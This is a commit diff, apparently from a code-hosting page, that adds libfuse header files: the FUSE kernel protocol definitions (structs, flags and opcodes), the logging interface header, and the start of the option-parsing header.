     150 + * Both the kernel and userspace send the version they support in the
     151 + * INIT request and reply respectively.
     152 + *
     153 + * If the major versions match then both shall use the smallest
     154 + * of the two minor versions for communication.
     155 + *
     156 + * If the kernel supports a larger major version, then userspace shall
     157 + * reply with the major version it supports, ignore the rest of the
     158 + * INIT message and expect a new INIT message from the kernel with a
     159 + * matching major version.
     160 + *
     161 + * If the library supports a larger major version, then it shall fall
     162 + * back to the major protocol version sent by the kernel for
     163 + * communication and reply with that major version (and an arbitrary
     164 + * supported minor version).
     165 + */
     166 + 
     167 +/** Version number of this interface */
     168 +#define FUSE_KERNEL_VERSION 7
     169 + 
     170 +/** Minor version number of this interface */
     171 +#define FUSE_KERNEL_MINOR_VERSION 31
     172 + 
     173 +/** The node ID of the root inode */
     174 +#define FUSE_ROOT_ID 1
     175 + 
     176 +/* Make sure all structures are padded to 64bit boundary, so 32bit
     177 + userspace works under 64bit kernels */
     178 + 
     179 +struct fuse_attr {
     180 + uint64_t ino;
     181 + uint64_t size;
     182 + uint64_t blocks;
     183 + uint64_t atime;
     184 + uint64_t mtime;
     185 + uint64_t ctime;
     186 + uint32_t atimensec;
     187 + uint32_t mtimensec;
     188 + uint32_t ctimensec;
     189 + uint32_t mode;
     190 + uint32_t nlink;
     191 + uint32_t uid;
     192 + uint32_t gid;
     193 + uint32_t rdev;
     194 + uint32_t blksize;
     195 + uint32_t padding;
     196 +};
     197 + 
     198 +struct fuse_kstatfs {
     199 + uint64_t blocks;
     200 + uint64_t bfree;
     201 + uint64_t bavail;
     202 + uint64_t files;
     203 + uint64_t ffree;
     204 + uint32_t bsize;
     205 + uint32_t namelen;
     206 + uint32_t frsize;
     207 + uint32_t padding;
     208 + uint32_t spare[6];
     209 +};
     210 + 
     211 +struct fuse_file_lock {
     212 + uint64_t start;
     213 + uint64_t end;
     214 + uint32_t type;
     215 + uint32_t pid; /* tgid */
     216 +};
     217 + 
     218 +/**
     219 + * Bitmasks for fuse_setattr_in.valid
     220 + */
     221 +#define FATTR_MODE (1 << 0)
     222 +#define FATTR_UID (1 << 1)
     223 +#define FATTR_GID (1 << 2)
     224 +#define FATTR_SIZE (1 << 3)
     225 +#define FATTR_ATIME (1 << 4)
     226 +#define FATTR_MTIME (1 << 5)
     227 +#define FATTR_FH (1 << 6)
     228 +#define FATTR_ATIME_NOW (1 << 7)
     229 +#define FATTR_MTIME_NOW (1 << 8)
     230 +#define FATTR_LOCKOWNER (1 << 9)
     231 +#define FATTR_CTIME (1 << 10)
     232 + 
     233 +/**
     234 + * Flags returned by the OPEN request
     235 + *
     236 + * FOPEN_DIRECT_IO: bypass page cache for this open file
     237 + * FOPEN_KEEP_CACHE: don't invalidate the data cache on open
     238 + * FOPEN_NONSEEKABLE: the file is not seekable
     239 + * FOPEN_CACHE_DIR: allow caching this directory
     240 + * FOPEN_STREAM: the file is stream-like (no file position at all)
     241 + */
     242 +#define FOPEN_DIRECT_IO (1 << 0)
     243 +#define FOPEN_KEEP_CACHE (1 << 1)
     244 +#define FOPEN_NONSEEKABLE (1 << 2)
     245 +#define FOPEN_CACHE_DIR (1 << 3)
     246 +#define FOPEN_STREAM (1 << 4)
     247 + 
     248 +/**
     249 + * INIT request/reply flags
     250 + *
     251 + * FUSE_ASYNC_READ: asynchronous read requests
     252 + * FUSE_POSIX_LOCKS: remote locking for POSIX file locks
     253 + * FUSE_FILE_OPS: kernel sends file handle for fstat, etc... (not yet supported)
     254 + * FUSE_ATOMIC_O_TRUNC: handles the O_TRUNC open flag in the filesystem
     255 + * FUSE_EXPORT_SUPPORT: filesystem handles lookups of "." and ".."
     256 + * FUSE_BIG_WRITES: filesystem can handle write size larger than 4kB
     257 + * FUSE_DONT_MASK: don't apply umask to file mode on create operations
     258 + * FUSE_SPLICE_WRITE: kernel supports splice write on the device
     259 + * FUSE_SPLICE_MOVE: kernel supports splice move on the device
     260 + * FUSE_SPLICE_READ: kernel supports splice read on the device
     261 + * FUSE_FLOCK_LOCKS: remote locking for BSD style file locks
     262 + * FUSE_HAS_IOCTL_DIR: kernel supports ioctl on directories
     263 + * FUSE_AUTO_INVAL_DATA: automatically invalidate cached pages
     264 + * FUSE_DO_READDIRPLUS: do READDIRPLUS (READDIR+LOOKUP in one)
     265 + * FUSE_READDIRPLUS_AUTO: adaptive readdirplus
     266 + * FUSE_ASYNC_DIO: asynchronous direct I/O submission
     267 + * FUSE_WRITEBACK_CACHE: use writeback cache for buffered writes
     268 + * FUSE_NO_OPEN_SUPPORT: kernel supports zero-message opens
     269 + * FUSE_PARALLEL_DIROPS: allow parallel lookups and readdir
     270 + * FUSE_HANDLE_KILLPRIV: fs handles killing suid/sgid/cap on write/chown/trunc
     271 + * FUSE_POSIX_ACL: filesystem supports posix acls
     272 + * FUSE_ABORT_ERROR: reading the device after abort returns ECONNABORTED
     273 + * FUSE_MAX_PAGES: init_out.max_pages contains the max number of req pages
     274 + * FUSE_CACHE_SYMLINKS: cache READLINK responses
     275 + * FUSE_NO_OPENDIR_SUPPORT: kernel supports zero-message opendir
     276 + * FUSE_EXPLICIT_INVAL_DATA: only invalidate cached pages on explicit request
     277 + */
     278 +#define FUSE_ASYNC_READ (1 << 0)
     279 +#define FUSE_POSIX_LOCKS (1 << 1)
     280 +#define FUSE_FILE_OPS (1 << 2)
     281 +#define FUSE_ATOMIC_O_TRUNC (1 << 3)
     282 +#define FUSE_EXPORT_SUPPORT (1 << 4)
     283 +#define FUSE_BIG_WRITES (1 << 5)
     284 +#define FUSE_DONT_MASK (1 << 6)
     285 +#define FUSE_SPLICE_WRITE (1 << 7)
     286 +#define FUSE_SPLICE_MOVE (1 << 8)
     287 +#define FUSE_SPLICE_READ (1 << 9)
     288 +#define FUSE_FLOCK_LOCKS (1 << 10)
     289 +#define FUSE_HAS_IOCTL_DIR (1 << 11)
     290 +#define FUSE_AUTO_INVAL_DATA (1 << 12)
     291 +#define FUSE_DO_READDIRPLUS (1 << 13)
     292 +#define FUSE_READDIRPLUS_AUTO (1 << 14)
     293 +#define FUSE_ASYNC_DIO (1 << 15)
     294 +#define FUSE_WRITEBACK_CACHE (1 << 16)
     295 +#define FUSE_NO_OPEN_SUPPORT (1 << 17)
     296 +#define FUSE_PARALLEL_DIROPS (1 << 18)
     297 +#define FUSE_HANDLE_KILLPRIV (1 << 19)
     298 +#define FUSE_POSIX_ACL (1 << 20)
     299 +#define FUSE_ABORT_ERROR (1 << 21)
     300 +#define FUSE_MAX_PAGES (1 << 22)
     301 +#define FUSE_CACHE_SYMLINKS (1 << 23)
     302 +#define FUSE_NO_OPENDIR_SUPPORT (1 << 24)
     303 +#define FUSE_EXPLICIT_INVAL_DATA (1 << 25)
     304 + 
     305 +/**
     306 + * CUSE INIT request/reply flags
     307 + *
     308 + * CUSE_UNRESTRICTED_IOCTL: use unrestricted ioctl
     309 + */
     310 +#define CUSE_UNRESTRICTED_IOCTL (1 << 0)
     311 + 
     312 +/**
     313 + * Release flags
     314 + */
     315 +#define FUSE_RELEASE_FLUSH (1 << 0)
     316 +#define FUSE_RELEASE_FLOCK_UNLOCK (1 << 1)
     317 + 
     318 +/**
     319 + * Getattr flags
     320 + */
     321 +#define FUSE_GETATTR_FH (1 << 0)
     322 + 
     323 +/**
     324 + * Lock flags
     325 + */
     326 +#define FUSE_LK_FLOCK (1 << 0)
     327 + 
     328 +/**
     329 + * WRITE flags
     330 + *
     331 + * FUSE_WRITE_CACHE: delayed write from page cache, file handle is guessed
     332 + * FUSE_WRITE_LOCKOWNER: lock_owner field is valid
     333 + * FUSE_WRITE_KILL_PRIV: kill suid and sgid bits
     334 + */
     335 +#define FUSE_WRITE_CACHE (1 << 0)
     336 +#define FUSE_WRITE_LOCKOWNER (1 << 1)
     337 +#define FUSE_WRITE_KILL_PRIV (1 << 2)
     338 + 
     339 +/**
     340 + * Read flags
     341 + */
     342 +#define FUSE_READ_LOCKOWNER (1 << 1)
     343 + 
     344 +/**
     345 + * Ioctl flags
     346 + *
     347 + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine
     348 + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed
     349 + * FUSE_IOCTL_RETRY: retry with new iovecs
     350 + * FUSE_IOCTL_32BIT: 32bit ioctl
     351 + * FUSE_IOCTL_DIR: is a directory
     352 + * FUSE_IOCTL_COMPAT_X32: x32 compat ioctl on 64bit machine (64bit time_t)
     353 + *
     354 + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs
     355 + */
     356 +#define FUSE_IOCTL_COMPAT (1 << 0)
     357 +#define FUSE_IOCTL_UNRESTRICTED (1 << 1)
     358 +#define FUSE_IOCTL_RETRY (1 << 2)
     359 +#define FUSE_IOCTL_32BIT (1 << 3)
     360 +#define FUSE_IOCTL_DIR (1 << 4)
     361 +#define FUSE_IOCTL_COMPAT_X32 (1 << 5)
     362 + 
     363 +#define FUSE_IOCTL_MAX_IOV 256
     364 + 
     365 +/**
     366 + * Poll flags
     367 + *
     368 + * FUSE_POLL_SCHEDULE_NOTIFY: request poll notify
     369 + */
     370 +#define FUSE_POLL_SCHEDULE_NOTIFY (1 << 0)
     371 + 
     372 +/**
     373 + * Fsync flags
     374 + *
     375 + * FUSE_FSYNC_FDATASYNC: Sync data only, not metadata
     376 + */
     377 +#define FUSE_FSYNC_FDATASYNC (1 << 0)
     378 + 
     379 +enum fuse_opcode {
     380 + FUSE_LOOKUP = 1,
     381 + FUSE_FORGET = 2, /* no reply */
     382 + FUSE_GETATTR = 3,
     383 + FUSE_SETATTR = 4,
     384 + FUSE_READLINK = 5,
     385 + FUSE_SYMLINK = 6,
     386 + FUSE_MKNOD = 8,
     387 + FUSE_MKDIR = 9,
     388 + FUSE_UNLINK = 10,
     389 + FUSE_RMDIR = 11,
     390 + FUSE_RENAME = 12,
     391 + FUSE_LINK = 13,
     392 + FUSE_OPEN = 14,
     393 + FUSE_READ = 15,
     394 + FUSE_WRITE = 16,
     395 + FUSE_STATFS = 17,
     396 + FUSE_RELEASE = 18,
     397 + FUSE_FSYNC = 20,
     398 + FUSE_SETXATTR = 21,
     399 + FUSE_GETXATTR = 22,
     400 + FUSE_LISTXATTR = 23,
     401 + FUSE_REMOVEXATTR = 24,
     402 + FUSE_FLUSH = 25,
     403 + FUSE_INIT = 26,
     404 + FUSE_OPENDIR = 27,
     405 + FUSE_READDIR = 28,
     406 + FUSE_RELEASEDIR = 29,
     407 + FUSE_FSYNCDIR = 30,
     408 + FUSE_GETLK = 31,
     409 + FUSE_SETLK = 32,
     410 + FUSE_SETLKW = 33,
     411 + FUSE_ACCESS = 34,
     412 + FUSE_CREATE = 35,
     413 + FUSE_INTERRUPT = 36,
     414 + FUSE_BMAP = 37,
     415 + FUSE_DESTROY = 38,
     416 + FUSE_IOCTL = 39,
     417 + FUSE_POLL = 40,
     418 + FUSE_NOTIFY_REPLY = 41,
     419 + FUSE_BATCH_FORGET = 42,
     420 + FUSE_FALLOCATE = 43,
     421 + FUSE_READDIRPLUS = 44,
     422 + FUSE_RENAME2 = 45,
     423 + FUSE_LSEEK = 46,
     424 + FUSE_COPY_FILE_RANGE = 47,
     425 + 
     426 + /* CUSE specific operations */
     427 + CUSE_INIT = 4096
     428 +};
     429 + 
     430 +enum fuse_notify_code {
     431 + FUSE_NOTIFY_POLL = 1,
     432 + FUSE_NOTIFY_INVAL_INODE = 2,
     433 + FUSE_NOTIFY_INVAL_ENTRY = 3,
     434 + FUSE_NOTIFY_STORE = 4,
     435 + FUSE_NOTIFY_RETRIEVE = 5,
     436 + FUSE_NOTIFY_DELETE = 6,
     437 + FUSE_NOTIFY_CODE_MAX
     438 +};
     439 + 
     440 +/* The read buffer is required to be at least 8k, but may be much larger */
     441 +#define FUSE_MIN_READ_BUFFER 8192
     442 + 
     443 +#define FUSE_COMPAT_ENTRY_OUT_SIZE 120
     444 + 
     445 +struct fuse_entry_out {
     446 + uint64_t nodeid; /* Inode ID */
     447 + uint64_t generation; /* Inode generation: nodeid:gen must
     448 + be unique for the fs's lifetime */
     449 + uint64_t entry_valid; /* Cache timeout for the name */
     450 + uint64_t attr_valid; /* Cache timeout for the attributes */
     451 + uint32_t entry_valid_nsec;
     452 + uint32_t attr_valid_nsec;
     453 + struct fuse_attr attr;
     454 +};
     455 + 
     456 +struct fuse_forget_in {
     457 + uint64_t nlookup;
     458 +};
     459 + 
     460 +struct fuse_forget_one {
     461 + uint64_t nodeid;
     462 + uint64_t nlookup;
     463 +};
     464 + 
     465 +struct fuse_batch_forget_in {
     466 + uint32_t count;
     467 + uint32_t dummy;
     468 +};
     469 + 
     470 +struct fuse_getattr_in {
     471 + uint32_t getattr_flags;
     472 + uint32_t dummy;
     473 + uint64_t fh;
     474 +};
     475 + 
     476 +#define FUSE_COMPAT_ATTR_OUT_SIZE 96
     477 + 
     478 +struct fuse_attr_out {
     479 + uint64_t attr_valid; /* Cache timeout for the attributes */
     480 + uint32_t attr_valid_nsec;
     481 + uint32_t dummy;
     482 + struct fuse_attr attr;
     483 +};
     484 + 
     485 +#define FUSE_COMPAT_MKNOD_IN_SIZE 8
     486 + 
     487 +struct fuse_mknod_in {
     488 + uint32_t mode;
     489 + uint32_t rdev;
     490 + uint32_t umask;
     491 + uint32_t padding;
     492 +};
     493 + 
     494 +struct fuse_mkdir_in {
     495 + uint32_t mode;
     496 + uint32_t umask;
     497 +};
     498 + 
     499 +struct fuse_rename_in {
     500 + uint64_t newdir;
     501 +};
     502 + 
     503 +struct fuse_rename2_in {
     504 + uint64_t newdir;
     505 + uint32_t flags;
     506 + uint32_t padding;
     507 +};
     508 + 
     509 +struct fuse_link_in {
     510 + uint64_t oldnodeid;
     511 +};
     512 + 
     513 +struct fuse_setattr_in {
     514 + uint32_t valid;
     515 + uint32_t padding;
     516 + uint64_t fh;
     517 + uint64_t size;
     518 + uint64_t lock_owner;
     519 + uint64_t atime;
     520 + uint64_t mtime;
     521 + uint64_t ctime;
     522 + uint32_t atimensec;
     523 + uint32_t mtimensec;
     524 + uint32_t ctimensec;
     525 + uint32_t mode;
     526 + uint32_t unused4;
     527 + uint32_t uid;
     528 + uint32_t gid;
     529 + uint32_t unused5;
     530 +};
     531 + 
     532 +struct fuse_open_in {
     533 + uint32_t flags;
     534 + uint32_t unused;
     535 +};
     536 + 
     537 +struct fuse_create_in {
     538 + uint32_t flags;
     539 + uint32_t mode;
     540 + uint32_t umask;
     541 + uint32_t padding;
     542 +};
     543 + 
     544 +struct fuse_open_out {
     545 + uint64_t fh;
     546 + uint32_t open_flags;
     547 + uint32_t padding;
     548 +};
     549 + 
     550 +struct fuse_release_in {
     551 + uint64_t fh;
     552 + uint32_t flags;
     553 + uint32_t release_flags;
     554 + uint64_t lock_owner;
     555 +};
     556 + 
     557 +struct fuse_flush_in {
     558 + uint64_t fh;
     559 + uint32_t unused;
     560 + uint32_t padding;
     561 + uint64_t lock_owner;
     562 +};
     563 + 
     564 +struct fuse_read_in {
     565 + uint64_t fh;
     566 + uint64_t offset;
     567 + uint32_t size;
     568 + uint32_t read_flags;
     569 + uint64_t lock_owner;
     570 + uint32_t flags;
     571 + uint32_t padding;
     572 +};
     573 + 
     574 +#define FUSE_COMPAT_WRITE_IN_SIZE 24
     575 + 
     576 +struct fuse_write_in {
     577 + uint64_t fh;
     578 + uint64_t offset;
     579 + uint32_t size;
     580 + uint32_t write_flags;
     581 + uint64_t lock_owner;
     582 + uint32_t flags;
     583 + uint32_t padding;
     584 +};
     585 + 
     586 +struct fuse_write_out {
     587 + uint32_t size;
     588 + uint32_t padding;
     589 +};
     590 + 
     591 +#define FUSE_COMPAT_STATFS_SIZE 48
     592 + 
     593 +struct fuse_statfs_out {
     594 + struct fuse_kstatfs st;
     595 +};
     596 + 
     597 +struct fuse_fsync_in {
     598 + uint64_t fh;
     599 + uint32_t fsync_flags;
     600 + uint32_t padding;
     601 +};
     602 + 
     603 +struct fuse_setxattr_in {
     604 + uint32_t size;
     605 + uint32_t flags;
     606 +};
     607 + 
     608 +struct fuse_getxattr_in {
     609 + uint32_t size;
     610 + uint32_t padding;
     611 +};
     612 + 
     613 +struct fuse_getxattr_out {
     614 + uint32_t size;
     615 + uint32_t padding;
     616 +};
     617 + 
     618 +struct fuse_lk_in {
     619 + uint64_t fh;
     620 + uint64_t owner;
     621 + struct fuse_file_lock lk;
     622 + uint32_t lk_flags;
     623 + uint32_t padding;
     624 +};
     625 + 
     626 +struct fuse_lk_out {
     627 + struct fuse_file_lock lk;
     628 +};
     629 + 
     630 +struct fuse_access_in {
     631 + uint32_t mask;
     632 + uint32_t padding;
     633 +};
     634 + 
     635 +struct fuse_init_in {
     636 + uint32_t major;
     637 + uint32_t minor;
     638 + uint32_t max_readahead;
     639 + uint32_t flags;
     640 +};
     641 + 
     642 +#define FUSE_COMPAT_INIT_OUT_SIZE 8
     643 +#define FUSE_COMPAT_22_INIT_OUT_SIZE 24
     644 + 
     645 +struct fuse_init_out {
     646 + uint32_t major;
     647 + uint32_t minor;
     648 + uint32_t max_readahead;
     649 + uint32_t flags;
     650 + uint16_t max_background;
     651 + uint16_t congestion_threshold;
     652 + uint32_t max_write;
     653 + uint32_t time_gran;
     654 + uint16_t max_pages;
     655 + uint16_t padding;
     656 + uint32_t unused[8];
     657 +};
     658 + 
     659 +#define CUSE_INIT_INFO_MAX 4096
     660 + 
     661 +struct cuse_init_in {
     662 + uint32_t major;
     663 + uint32_t minor;
     664 + uint32_t unused;
     665 + uint32_t flags;
     666 +};
     667 + 
     668 +struct cuse_init_out {
     669 + uint32_t major;
     670 + uint32_t minor;
     671 + uint32_t unused;
     672 + uint32_t flags;
     673 + uint32_t max_read;
     674 + uint32_t max_write;
     675 + uint32_t dev_major; /* chardev major */
     676 + uint32_t dev_minor; /* chardev minor */
     677 + uint32_t spare[10];
     678 +};
     679 + 
     680 +struct fuse_interrupt_in {
     681 + uint64_t unique;
     682 +};
     683 + 
     684 +struct fuse_bmap_in {
     685 + uint64_t block;
     686 + uint32_t blocksize;
     687 + uint32_t padding;
     688 +};
     689 + 
     690 +struct fuse_bmap_out {
     691 + uint64_t block;
     692 +};
     693 + 
     694 +struct fuse_ioctl_in {
     695 + uint64_t fh;
     696 + uint32_t flags;
     697 + uint32_t cmd;
     698 + uint64_t arg;
     699 + uint32_t in_size;
     700 + uint32_t out_size;
     701 +};
     702 + 
     703 +struct fuse_ioctl_iovec {
     704 + uint64_t base;
     705 + uint64_t len;
     706 +};
     707 + 
     708 +struct fuse_ioctl_out {
     709 + int32_t result;
     710 + uint32_t flags;
     711 + uint32_t in_iovs;
     712 + uint32_t out_iovs;
     713 +};
     714 + 
     715 +struct fuse_poll_in {
     716 + uint64_t fh;
     717 + uint64_t kh;
     718 + uint32_t flags;
     719 + uint32_t events;
     720 +};
     721 + 
     722 +struct fuse_poll_out {
     723 + uint32_t revents;
     724 + uint32_t padding;
     725 +};
     726 + 
     727 +struct fuse_notify_poll_wakeup_out {
     728 + uint64_t kh;
     729 +};
     730 + 
     731 +struct fuse_fallocate_in {
     732 + uint64_t fh;
     733 + uint64_t offset;
     734 + uint64_t length;
     735 + uint32_t mode;
     736 + uint32_t padding;
     737 +};
     738 + 
     739 +struct fuse_in_header {
     740 + uint32_t len;
     741 + uint32_t opcode;
     742 + uint64_t unique;
     743 + uint64_t nodeid;
     744 + uint32_t uid;
     745 + uint32_t gid;
     746 + uint32_t pid;
     747 + uint32_t padding;
     748 +};
     749 + 
     750 +struct fuse_out_header {
     751 + uint32_t len;
     752 + int32_t error;
     753 + uint64_t unique;
     754 +};
     755 + 
     756 +struct fuse_dirent {
     757 + uint64_t ino;
     758 + uint64_t off;
     759 + uint32_t namelen;
     760 + uint32_t type;
     761 + char name[];
     762 +};
     763 + 
     764 +#define FUSE_NAME_OFFSET offsetof(struct fuse_dirent, name)
     765 +#define FUSE_DIRENT_ALIGN(x) \
     766 + (((x) + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1))
     767 +#define FUSE_DIRENT_SIZE(d) \
     768 + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET + (d)->namelen)
     769 + 
     770 +struct fuse_direntplus {
     771 + struct fuse_entry_out entry_out;
     772 + struct fuse_dirent dirent;
     773 +};
     774 + 
     775 +#define FUSE_NAME_OFFSET_DIRENTPLUS \
     776 + offsetof(struct fuse_direntplus, dirent.name)
     777 +#define FUSE_DIRENTPLUS_SIZE(d) \
     778 + FUSE_DIRENT_ALIGN(FUSE_NAME_OFFSET_DIRENTPLUS + (d)->dirent.namelen)
     779 + 
     780 +struct fuse_notify_inval_inode_out {
     781 + uint64_t ino;
     782 + int64_t off;
     783 + int64_t len;
     784 +};
     785 + 
     786 +struct fuse_notify_inval_entry_out {
     787 + uint64_t parent;
     788 + uint32_t namelen;
     789 + uint32_t padding;
     790 +};
     791 + 
     792 +struct fuse_notify_delete_out {
     793 + uint64_t parent;
     794 + uint64_t child;
     795 + uint32_t namelen;
     796 + uint32_t padding;
     797 +};
     798 + 
     799 +struct fuse_notify_store_out {
     800 + uint64_t nodeid;
     801 + uint64_t offset;
     802 + uint32_t size;
     803 + uint32_t padding;
     804 +};
     805 + 
     806 +struct fuse_notify_retrieve_out {
     807 + uint64_t notify_unique;
     808 + uint64_t nodeid;
     809 + uint64_t offset;
     810 + uint32_t size;
     811 + uint32_t padding;
     812 +};
     813 + 
     814 +/* Matches the size of fuse_write_in */
     815 +struct fuse_notify_retrieve_in {
     816 + uint64_t dummy1;
     817 + uint64_t offset;
     818 + uint32_t size;
     819 + uint32_t dummy2;
     820 + uint64_t dummy3;
     821 + uint64_t dummy4;
     822 +};
     823 + 
     824 +/* Device ioctls: */
     825 +#define FUSE_DEV_IOC_CLONE _IOR(229, 0, uint32_t)
     826 + 
     827 +struct fuse_lseek_in {
     828 + uint64_t fh;
     829 + uint64_t offset;
     830 + uint32_t whence;
     831 + uint32_t padding;
     832 +};
     833 + 
     834 +struct fuse_lseek_out {
     835 + uint64_t offset;
     836 +};
     837 + 
     838 +struct fuse_copy_file_range_in {
     839 + uint64_t fh_in;
     840 + uint64_t off_in;
     841 + uint64_t nodeid_out;
     842 + uint64_t fh_out;
     843 + uint64_t off_out;
     844 + uint64_t len;
     845 + uint64_t flags;
     846 +};
     847 + 
     848 +#endif /* _LINUX_FUSE_H */
     849 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_log.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2019 Red Hat, Inc.
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_LOG_H_
     10 +#define FUSE_LOG_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the logging interface of FUSE
     15 + */
     16 + 
     17 +#include <stdarg.h>
     18 + 
     19 +#ifdef __cplusplus
     20 +extern "C" {
     21 +#endif
     22 + 
     23 +/**
     24 + * Log severity level
     25 + *
     26 + * These levels correspond to syslog(2) log levels since they are widely used.
     27 + */
     28 +enum fuse_log_level {
     29 + FUSE_LOG_EMERG,
     30 + FUSE_LOG_ALERT,
     31 + FUSE_LOG_CRIT,
     32 + FUSE_LOG_ERR,
     33 + FUSE_LOG_WARNING,
     34 + FUSE_LOG_NOTICE,
     35 + FUSE_LOG_INFO,
     36 + FUSE_LOG_DEBUG
     37 +};
     38 + 
     39 +/**
     40 + * Log message handler function.
     41 + *
     42 + * This function must be thread-safe. It may be called from any libfuse
     43 + * function, including fuse_parse_cmdline() and other functions invoked before
     44 + * a FUSE filesystem is created.
     45 + *
     46 + * Install a custom log message handler function using fuse_set_log_func().
     47 + *
     48 + * @param level log severity level
     49 + * @param fmt sprintf-style format string including newline
     50 + * @param ap format string arguments
     51 + */
     52 +typedef void (*fuse_log_func_t)(enum fuse_log_level level,
     53 + const char *fmt, va_list ap);
     54 + 
     55 +/**
     56 + * Install a custom log handler function.
     57 + *
     58 + * Log messages are emitted by libfuse functions to report errors and debug
     59 + * information. Messages are printed to stderr by default but this can be
     60 + * overridden by installing a custom log message handler function.
     61 + *
     62 + * The log message handler function is global and affects all FUSE filesystems
     63 + * created within this process.
     64 + *
     65 + * @param func a custom log message handler function or NULL to revert to
     66 + * the default
     67 + */
     68 +void fuse_set_log_func(fuse_log_func_t func);
     69 + 
     70 +/**
     71 + * Emit a log message
     72 + *
     73 + * @param level severity level (FUSE_LOG_ERR, FUSE_LOG_DEBUG, etc)
     74 + * @param fmt sprintf-style format string including newline
     75 + */
     76 +void fuse_log(enum fuse_log_level level, const char *fmt, ...);
     77 + 
     78 +#ifdef __cplusplus
     79 +}
     80 +#endif
     81 + 
     82 +#endif /* FUSE_LOG_H_ */
     83 + 
  • libfuse/fuse_lowlevel.h
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_opt.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_OPT_H_
     10 +#define FUSE_OPT_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the option parsing interface of FUSE
     15 + */
     16 + 
     17 +#ifdef __cplusplus
     18 +extern "C" {
     19 +#endif
     20 + 
     21 +/**
     22 + * Option description
     23 + *
     24 + * This structure describes a single option, and action associated
     25 + * with it, in case it matches.
     26 + *
     27 + * More than one such match may occur, in which case the action for
     28 + * each match is executed.
     29 + *
     30 + * There are three possible actions in case of a match:
     31 + *
     32 + * i) An integer (int or unsigned) variable determined by 'offset' is
     33 + * set to 'value'
     34 + *
     35 + * ii) The processing function is called, with 'value' as the key
     36 + *
     37 + * iii) An integer (any) or string (char *) variable determined by
     38 + * 'offset' is set to the value of an option parameter
     39 + *
     40 + * 'offset' should normally be either set to
     41 + *
     42 + * - 'offsetof(struct foo, member)' actions i) and iii)
     43 + *
     44 + * - -1 action ii)
     45 + *
     46 + * The 'offsetof()' macro is defined in the <stddef.h> header.
     47 + *
     48 + * The template determines which options match, and also have an
     49 + * effect on the action. Normally the action is either i) or ii), but
     50 + * if a format is present in the template, then action iii) is
     51 + * performed.
     52 + *
     53 + * The types of templates are:
     54 + *
     55 + * 1) "-x", "-foo", "--foo", "--foo-bar", etc. These match only
     56 + * themselves. Invalid values are "--" and anything beginning
     57 + * with "-o"
     58 + *
     59 + * 2) "foo", "foo-bar", etc. These match "-ofoo", "-ofoo-bar" or
     60 + * the relevant option in a comma separated option list
     61 + *
     62 + * 3) "bar=", "--foo=", etc. These are variations of 1) and 2)
     63 + * which have a parameter
     64 + *
     65 + * 4) "bar=%s", "--foo=%lu", etc. Same matching as above but perform
     66 + * action iii).
     67 + *
     68 + * 5) "-x ", etc. Matches either "-xparam" or "-x param" as
     69 + * two separate arguments
     70 + *
     71 + * 6) "-x %s", etc. Combination of 4) and 5)
     72 + *
     73 + * If the format is "%s", memory is allocated for the string unlike with
     74 + * scanf(). The previous value (if non-NULL) stored at the this location is
     75 + * freed.
     76 + */
     77 +struct fuse_opt {
     78 + /** Matching template and optional parameter formatting */
     79 + const char *templ;
     80 + 
     81 + /**
     82 + * Offset of variable within 'data' parameter of fuse_opt_parse()
     83 + * or -1
     84 + */
     85 + unsigned long offset;
     86 + 
     87 + /**
     88 + * Value to set the variable to, or to be passed as 'key' to the
     89 + * processing function. Ignored if template has a format
     90 + */
     91 + int value;
     92 +};
     93 + 
     94 +/**
     95 + * Key option. In case of a match, the processing function will be
     96 + * called with the specified key.
     97 + */
     98 +#define FUSE_OPT_KEY(templ, key) { templ, -1U, key }
     99 + 
     100 +/**
     101 + * Last option. An array of 'struct fuse_opt' must end with a NULL
     102 + * template value
     103 + */
     104 +#define FUSE_OPT_END { NULL, 0, 0 }
     105 + 
     106 +/**
     107 + * Argument list
     108 + */
     109 +struct fuse_args {
     110 + /** Argument count */
     111 + int argc;
     112 + 
     113 + /** Argument vector. NULL terminated */
     114 + char **argv;
     115 + 
     116 + /** Is 'argv' allocated? */
     117 + int allocated;
     118 +};
     119 + 
     120 +/**
     121 + * Initializer for 'struct fuse_args'
     122 + */
     123 +#define FUSE_ARGS_INIT(argc, argv) { argc, argv, 0 }
     124 + 
     125 +/**
     126 + * Key value passed to the processing function if an option did not
     127 + * match any template
     128 + */
     129 +#define FUSE_OPT_KEY_OPT -1
     130 + 
     131 +/**
     132 + * Key value passed to the processing function for all non-options
     133 + *
     134 + * Non-options are the arguments beginning with a character other than
     135 + * '-' or all arguments after the special '--' option
     136 + */
     137 +#define FUSE_OPT_KEY_NONOPT -2
     138 + 
     139 +/**
     140 + * Special key value for options to keep
     141 + *
     142 + * Argument is not passed to processing function, but behave as if the
     143 + * processing function returned 1
     144 + */
     145 +#define FUSE_OPT_KEY_KEEP -3
     146 + 
     147 +/**
     148 + * Special key value for options to discard
     149 + *
     150 + * Argument is not passed to processing function, but behave as if the
     151 + * processing function returned zero
     152 + */
     153 +#define FUSE_OPT_KEY_DISCARD -4
     154 + 
     155 +/**
     156 + * Processing function
     157 + *
     158 + * This function is called if
     159 + * - option did not match any 'struct fuse_opt'
     160 + * - argument is a non-option
     161 + * - option did match and offset was set to -1
     162 + *
     163 + * The 'arg' parameter will always contain the whole argument or
     164 + * option including the parameter if exists. A two-argument option
     165 + * ("-x foo") is always converted to single argument option of the
     166 + * form "-xfoo" before this function is called.
     167 + *
     168 + * Options of the form '-ofoo' are passed to this function without the
     169 + * '-o' prefix.
     170 + *
     171 + * The return value of this function determines whether this argument
     172 + * is to be inserted into the output argument vector, or discarded.
     173 + *
